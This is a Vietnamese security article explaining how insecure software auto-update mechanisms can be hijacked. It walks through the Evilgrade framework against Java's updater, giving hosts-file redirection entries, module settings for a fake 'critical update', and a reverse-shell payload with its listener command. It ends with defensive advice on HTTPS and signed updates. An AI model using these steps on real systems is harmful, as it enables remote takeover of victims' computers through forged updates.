Nguy cơ lây nhiễm phần mềm độc hại từ tính năng AutoUpdate

15:02 | 19/12/2011

Đa số các phần mềm hiện nay đều có tính năng kết nối tự động tới máy chủ của nhà sản xuất để kiểm tra sự có mặt của các bản cập nhật. Điều này tất nhiên là rất tiện lợi – chỉ với một cú nhấn chuột là phiên bản mới nhất của phần mềm sẽ được cài lên hệ thống. Tuy nhiên, rất có thể thứ mà phần mềm được tải về đó không phải là bản cập nhật mà là một phần mềm độc hại nào đó.

Khi mà chức năng cập nhật tự động (AutoUpdate) của một phần mềm được thực hiện và có một phiên bản mới được tìm thấy thì phần mềm sẽ đưa ra một thông điệp như “Phần mềm đã có phiên bản mới hơn. Đề nghị bạn cập nhật bản mới nhất!” và thường thì chúng ta sẽ đồng ý để phần mềm thực hiện việc cập nhật.
Nhưng rất có thể, khi thực hiện thao tác cập nhật cho phần mềm của mình thì thực ra bạn đang tải về và cài lên máy mình một bản bị đánh tráo. Có vẻ là khó tin nhưng chính cơ chế tải về các bản cập nhật có thể trở thành điểm yếu của toàn hệ thống. Vấn đề này không chỉ có ở các phần mềm nhỏ lẻ mà còn xảy ra với cả những phần mềm phổ biến với hàng triệu người dùng.
Nguyên nhân
Tấn công thông qua chức năng cập nhật ứng dụng đã được biết đến từ lâu. Nguyên nhân xuất phát từ việc các nhà phát triển không dành sự quan tâm thích đáng về vấn đề đảm bảo an toàn cho cơ chế truyền tải các bản cập nhật. Thông thường, quá trình cập nhật diễn ra một cách không an toàn như sau:
- Ứng dụng khởi động chức năng cập nhật (tự động hoặc từ lệnh của người dùng);
- Thông qua DNS server, ứng dụng hỏi địa chỉ IP của máy chủ có chứa các bản cập nhật (ví dụ, update.app1.com);
- DNS server trả về địa chỉ IP của máy chủ đó (ví dụ, 192.168.1.1);
- Ứng dụng tải từ máy chủ về một file có chứa thông tin về các bản cập nhật (ví dụ, lastupdate.xml), phân tích nội dung của nó và xác định rằng có phiên bản mới của ứng dụng;
-  Cuối cùng, ứng dụng sẽ tải file cập nhật (ví dụ, http://update.app1.com/update.exe) và thực hiện nó.
Chỉ có thế, không hề có thao tác xác thực máy chủ, không có bước kiểm tra chữ ký đối với file cập nhật, nói chung là không có hành động nào nhằm đảm bảo an toàn cho việc cập nhật. Như vậy, không có cơ chế nào ngăn cản kẻ ác ý giả mạo máy chủ cập nhật và gửi tới máy bạn file mà chúng muốn bạn thực hiện. Đó là hình thức tấn công quen thuộc có tên là “người trung gian” (MITM- man in the middle) có thể được thực hiện thông qua ARP-spoofing hoặc DNS Cache Poison. Nếu bạn cho rằng, điểm yếu này chỉ có ở một số ít các ứng dụng thì bạn đã mắc sai lầm lớn. Chuyên gia Francisco Amato thuộc nhóm InfobyteSecurity Research (www.infobytesec.com/developments.html) đã phát triển trên Perl một framework đặc biệt để thực hiện các tấn công thông qua hệ thống cập nhật, công cụ này được gọi là Evilgrade và chứa các môđun để khai thác điểm yếu của một loạt các ứng dụng, cụ thể như sau:

 


Mỗi môđun được xây dựng để mô phỏng việc cập nhật của một ứng dụng. Ngoài ra, trong Evilgrade còn có các môđun đóng vai trò web server và DNS server giúp cho việc thực hiện tấn công trở nên đơn giản hơn. Công cụ này đã được giới thiệu tại hội nghị Blackhat Arsenal & Defcon 2010 (Mỹ).

Kiểm thử
Hãy lấy Java để thử nghiệm với Evilgrade. Java là phần mềm cần thiết cho hoạt động của nhiều chương trình khác nhau và do đó nó là phần mềm thường gặp trên các máy tính. Chúng ta cần có hai máy tính: một máy có cài Java, đóng vai trò là nạn nhân; máy còn lại có cài Evilgrade đóng vai trò kẻ tấn công. Trên đây đã chỉ ra rằng, để có thể thực hiện thành công việc tấn công thì cần phải làm sao để khi tiến hành cập nhật, ứng dụng thay vì kết nối tới máy chủ thực sự thì sẽ kết nối tới máy tính tấn công. Điều này có thể đạt được nhờ vào ARP- spoofing hoặc DNS Cache Poison. Để đơn giản hóa công việc, giả thiết rằng đã thực hiện thành công một trong số các kỹ thuật này và chỉnh sửa file hosts trên máy nạn nhân như sau:
192.168.1.2                         java.sun.com
192.168.1.2                         javadl- esd.sun.com
Tiếp đó, khởi động Evilgrade:
perl evilgrade
Để xem danh sách các môđun đã được tích hợp, hãy gõ lệnh “show modules”. Bạn sẽ thấy một danh sách dài, nhưng ở đây chúng ta chỉ cần sunjava. Để thiết lập các tham số cho môđun này, gõ lệnh:
>conf sunjava
>show options
Và ta sẽ nhận được bảng sau:
Name = Sun Microsystems Java
Version = 1.0
Author = [“Francisco Amato < famato +[AT]+ infobytesec.com>”]
Description = “”
VirtualHost = “(java.sun.com|javadl-esd.sun.com)”

| Name     | Default
| website  | http://java.com/moreinfolink
| enable   |  1
| atitle   | Critical vulnerability
| arg      | http://java.sun.com/x.jnlp”
| adesc    | This critical update  fi  x internal vulnerability
| descr    | This critical update  fi  x internal vulnerability
| agent    |  ./include/sunjava/JavaPayload/FunnyClass2.jar
| title    |  critical update

Trường đáng quan tâm nhất ở đây là agent, nó khá giống với khái niệm payload trong Metasploit. Ở đây chúng ta chỉ ra file cần gửi cho nạn nhân thay vì file cập nhật. Trong trường hợp này là file FunnyClass2.jar. Đó là một reverse shell sẽ kết nối trở lại với máy tấn công qua cổng 2010.


Do vậy, trước khi sử dụng nó, cần khởi động trên máy tấn công một trình ứng dụng có chức năng chờ đợi kết nối ở cổng 2010. Để thực hiện điều đó, vào thư mục include\sunjava\JavaPayload\ và gõ lệnh:
java -cp “JavaPayload.jar:lib/*”  javapayload.handler.
stager.StagerHandler ReverseSSL 192.168.1.2 2010 – JSh

Bây giờ có thể quay lại với việc cấu hình cho môđun. Hãy để ý hai trường atitle và adescription. Chúng quy định thông điệp sẽ được hiển thị ở system tray của máy nạn nhân: một khi Java trên máy đó kết nối với server của chúng ta và tìm thấy bản cập nhật và một trong quá trình cập nhật. Tất cả thông số của module này có thể được thay đổi bằng lệnh set. Ví dụ:
> set atitle  “New version available”
Sau khi hoàn tất việc thiết lập, gõ lệnh start để khởi động những thứ cần thiết để thực hiện việc tấn công.

Tấn công
Bây giờ hãy xem mọi việc diễn ra thế nào. Để kích hoạt việc cập nhật trên máy tính nạn nhân, hãy vào Control Panel, khởi động Java và chọn tab “Update” trong cửa sổ hiện ra, sau đó nhấn nút “Update now”. Toàn bộ quá trình giao tiếp giữa ứng dụng (Java) với server cập nhật sẽ được hiển thị trong cửa sổ Evilgrade. Để xem trạng thái hiện thời, gõ lệnh “show status”:
client = 192.168.1.1
module = modules::sunjava
status = send
(md5,cmd,fi   le) = d9a28baa883ecf51e41fc626e1d4eed5,’’,
“.include/sunjava/JavaPayload/FunnyClass2.jar”

Thông báo này cho biết bản cập nhật giả mạo đã được gửi thành công đến máy có địa chỉ 192.168.1.1. Bây giờ, chuyển sang cửa số thứ hai (ứng dụng chờ kết nối ở cổng 2010) và chờ bản cập nhật giả mạo được thực thi. Khi đó, ta sẽ có được reverse shell tới máy nạn nhân. Có thể gõ lệnh “help” để xem danh sách các câu lệnh có thể thực hiện trên máy tính đó.

Kết luận

Như có thể thấy trên đây, các ứng dụng uy tín vẫn có thể gây mất an toàn cho máy tính của bạn. Cho dù trong đó không có lỗi tràn bộ đệm cũng như các lỗi khác, nhưng sự yếu kém trong khâu triển khai cơ chế cập nhật có thể bị lợi dụng để thực hiện tấn công lên hệ thống. Nhiều nhà phát triển đã kịp sửa chữa sai lầm của mình, nhưng đáng tiếc là không phải lúc nào cũng hiệu quả, nhất là khi cơ chế kiểm tra quá đơn giản và bên tấn công có thể vượt qua được sự kiểm tra đó. Vậy việc cập nhật thế nào mới là an toàn? Tác giả của Evilgrade khẳng định: máy chủ cập nhật cần phải làm việc với HTTPS và phải hỗ trợ chứng thư số (certificate), còn bản cập nhật thì phải được ký số